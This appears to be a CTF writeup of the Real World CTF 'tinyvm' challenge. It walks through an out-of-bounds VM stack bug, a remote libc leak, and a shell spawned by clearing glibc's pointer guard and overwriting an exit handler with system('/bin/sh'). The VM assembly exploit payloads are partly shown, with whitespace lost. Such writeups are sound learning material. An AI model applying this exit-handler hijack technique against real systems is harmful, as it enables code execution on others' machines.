This week was an exhilarating one as I had the opportunity to take part in the renowned Real World CTF 5th event. Among the various mind-bending challenges I encountered, one particularly intriguing puzzle called tinyvm caught my attention. This challenge involved delving into the realm of VM pwn, as we set out on a quest to successfully spawn a shell on a remote target. Here is my writeup for it.
Description
So basically we are provided with an unmodified source code (commit 10c25d83e442caf0c1fc4b0ab29a91b3805d72ec), and we need to pwn it!
Remote accepts a text input which is our VM program written in assembly (example primes.vm)
Environment
To set up a local environment we need to build tinyvm locally. Luckily the process is really simple - just clone a repository, run make DEBUG=yes and you should see two binaries in bin directory - tdb (tinyvm debugger), tvmi (tinyvm interpreter).
As we can see, there is no bound checking for stack, so we can go out of bounds and overwrite (or read) some memory.
Let’s figure out how the stack memory is allocated:
Basically we don’t know anything about remote target, so it would be good to gather some information - for example which libc version is on remote. Once we know libc version we can perform an attack.
Setup
I will use pwn template which I’m usually using in pwn challenges, so we can switch between remote and local env easily. I’ve added gdb alias for printing vm’s esp register value and also breakpoint which allow us to inspect some things before VM starts to execute code.
Stack grows towards lower addresses, so by doing pop reg we can leak bytes from memory (four bytes at per one pop). We can also print them because there is a VM opcode which will print a register value using printf (tvm.h). Unfortunately it prints value as a signed integer, so we need to handle that in python. VM program will have the following form:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# move sp to start of libc
addesp,0x3e03ff0movebp,espmovecx,0x250000movesi,0loop:popeaxprneaxincesicmpesi,ecxjlloop
and python part responsible for receiving four byte integers and saving them into a binary file look like this (it is probably overcomplicated):
Running code on a remote target produces the following output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[*]'/media/sf_D_DRIVE/rwctf/tinyvm/bin/tvmi' Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 198.11.180.84 on port 6666: Done
[+] Receiving all data: Done (4.84MB)[*] Closed connection to 198.11.180.84 port 6666Traceback (most recent call last):
File "/media/sf_D_DRIVE/rwctf/tinyvm/./solve.py", line 65, in <module>
leak_libc_binary() File "/media/sf_D_DRIVE/rwctf/tinyvm/./solve.py", line 56, in leak_libc_binary
ints= list(map(int, ints))ValueError: invalid literal for int() with base 10: '0Segmentation fault'➜ /media/sf_D_DRIVE/rwctf/tinyvm git:(master) ✗ file libc.so
libc.so: ELF 64-bit LSB shared object, x86-64, version 1(GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, stripped
➜ /media/sf_D_DRIVE/rwctf/tinyvm git:(master) ✗ xxd libc.so | head -1
00000000: 7f45 4c46 020101030000000000000000 .ELF............
Now we can grep for the libc version string:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜ /media/sf_D_DRIVE/rwctf/tinyvm git:(master) ✗ strings libc.so | grep version
versionsort64
gnu_get_libc_version
argp_program_version
versionsort
__nptl_version
argp_program_version_hook
RPC: Incompatible versions of RPC
RPC: Program/version mismatch
<malloc version="1">
Print program version
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Compiled by GNU CC version 11.2.0.
(PROGRAM ERROR) No version known!?
%s: %s; low version= %lu, high version= %lu
So the version of the remote libc is: Ubuntu GLIBC 2.35-0ubuntu3.1. We can download it using libc-database and patch local tvmi binary to use it, so can prepare our exploit on local env.
Leaking libc address
Idea of leaking libc address is rather simple - just find a place where the libc address is stored, leak it and do an offset calculation. Bad news is that we cannot do a typical pwn workflow when library address is leaked, and then we launch the second stage of exploit - we need to do a one shot instead, so we should store libc address in vm’s registers, but… they are 32bit, so we need to use two registers - one for storing higher 32bits and second for lower 32bits.
I’ve decided to leak some values from libc GOT. First check out what is in the GOT section:
We have everything to craft a vm program which will store libc base address in two 32bit registers and print it to us for verification, so we can receive it in python:
1
2
3
4
5
6
7
8
9
10
11
12
# move sp to start of libc
addesp,0x3e03ff0movebp,espaddesp,0x219050# GOT calloc addr
popr08subr08,0x28080# offset to libc base
popr09# libc base in r09 << 32 | r08
prnr08prnr09
Libc 2.35 doesn’t have __free_hook or __malloc_hooke, so we cannot abuse them anymore, and we need to find other low-hanging fruits. Since we’ve been playing around with GOT, maybe we can use it to gain control over code execution. After some experimentation, it turned out that the printf function (used by the prn vm opcode) uses two GOT entries - __strchrnul_sse2 and __strncpy_avx2, so I tried writing the address of one_gadget into them, but neither gadget worked. Each time the gadget conditions were not met and the binary crashed, so we need to pwn it as usual…
Crafting the exploit v2
The plan now is really simple - abuse libc exit hooks. It is a linked list of exit_functionstructs that will be used in __run_exit_handlers function which is called when program exits. Unfortunately exit pointers in exit_function struct are mangled in libc 2.35. See the snippets below:
enum{ef_free,/* `ef_free' MUST be zero! */ef_us,ef_on,ef_at,ef_cxa};structexit_function{/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */longintflavor;union{void(*at)(void);struct{void(*fn)(intstatus,void*arg);void*arg;}on;struct{void(*fn)(void*arg,intstatus);void*arg;void*dso_handle;}cxa;}func;};# define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n" \
"rol $2*" LP_SIZE "+1, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
# define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \
"xor %%fs:%c2, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */voidattribute_hidden__run_exit_handlers(intstatus,structexit_function_list**listp,boolrun_list_atexit,boolrun_dtors){/* First, call the TLS destructors. */#ifndef SHARED
if(&__call_tls_dtors!=NULL)#endif
if(run_dtors)__call_tls_dtors();__libc_lock_lock(__exit_funcs_lock);/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */while(true){structexit_function_list*cur=*listp;if(cur==NULL){/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */__exit_funcs_done=true;break;}while(cur->idx>0){structexit_function*constf=&cur->fns[--cur->idx];constuint64_tnew_exitfn_called=__new_exitfn_called;switch(f->flavor){void(*atfct)(void);void(*onfct)(intstatus,void*arg);void(*cxafct)(void*arg,intstatus);void*arg;caseef_free:caseef_us:break;caseef_on:onfct=f->func.on.fn;arg=f->func.on.arg;#ifdef PTR_DEMANGLE
PTR_DEMANGLE(onfct);#endif
/* Unlock the list while we call a foreign function. */__libc_lock_unlock(__exit_funcs_lock);onfct(status,arg);__libc_lock_lock(__exit_funcs_lock);break;caseef_at:atfct=f->func.at;#ifdef PTR_DEMANGLE
PTR_DEMANGLE(atfct);#endif
/* Unlock the list while we call a foreign function. */__libc_lock_unlock(__exit_funcs_lock);atfct();__libc_lock_lock(__exit_funcs_lock);break;caseef_cxa:/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */f->flavor=ef_free;cxafct=f->func.cxa.fn;arg=f->func.cxa.arg;#ifdef PTR_DEMANGLE
PTR_DEMANGLE(cxafct);#endif
/* Unlock the list while we call a foreign function. */__libc_lock_unlock(__exit_funcs_lock);cxafct(arg,status);__libc_lock_lock(__exit_funcs_lock);break;}if(__glibc_unlikely(new_exitfn_called!=__new_exitfn_called))/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */continue;}*listp=cur->next;if(*listp!=NULL)/* Don't free the last element in the chain, this is the statically
allocate element. */free(cur);}__libc_lock_unlock(__exit_funcs_lock);if(run_list_atexit)RUN_HOOK(__libc_atexit,());_exit(status);}voidexit(intstatus){__run_exit_handlers(status,&__exit_funcs,true,true);}
PTR_DEMANGLE and PTR_MANGLE macros are responsible for mangling pointers and effectively translate to:
Value at 0x7f4a9f284770 is our secret value. Yes - it is next to stack cookie, and we can easily read it because our vm stack is allocated just before page which contains the secret, but… do we really need to read it? The answer is “no” - we can overwrite it with 0, so xor instruction in PTR_DEMANGLE snippet will do nothing, so the situation is even better! We can call our function and pass the argument to it. All we need to do is to set fn (we need to rotate it (rol) by 0x11 first) and args struct members in existing exit_function struct or create our own. Both ways are easy to implement. I’ve decided to go with the first option because I see that there is already defined exit hook (output truncated):
There is one caveat here - the VM does not have rol opcode, so we need to implement it manually. Remember that we have 64bit address in two 32bit registers, so we need to do rol on our own. Here is my quick & dirty implementation:
# move sp to start of libc
addesp,0x3e03ff0movebp,espaddesp,0x219050# GOT calloc leak
popr08subr08,0x28080popr09# libc base in r9 << 32 | r8
# clear fs:0x30
movesp,ebpsubesp,0x2888push0push0# craft system addr
moveax,r09movebx,r08addebx,0x50d60# rol system addr by 0x11 (make vm stack writable)
subesp,0x1000movesi,0x11callroladdesp,0x1000prnebxprneaxjmpwrite_payload// rol function implementation skipped
write_payload:# move esp to `initial`
movesp,ebpaddesp,0x21af20addesp,8# save /bin/sh to `arg` field
movedx,r08addedx,0x1d8698pushr09pushedx# save mangled system addr to `at` field
pusheaxpushebx
Overall, this was a nice challenge, and it wasn’t hard. The main takeaway is that libc GOT can be used to call arbitrary code because printf function is using some of GOT entries internally.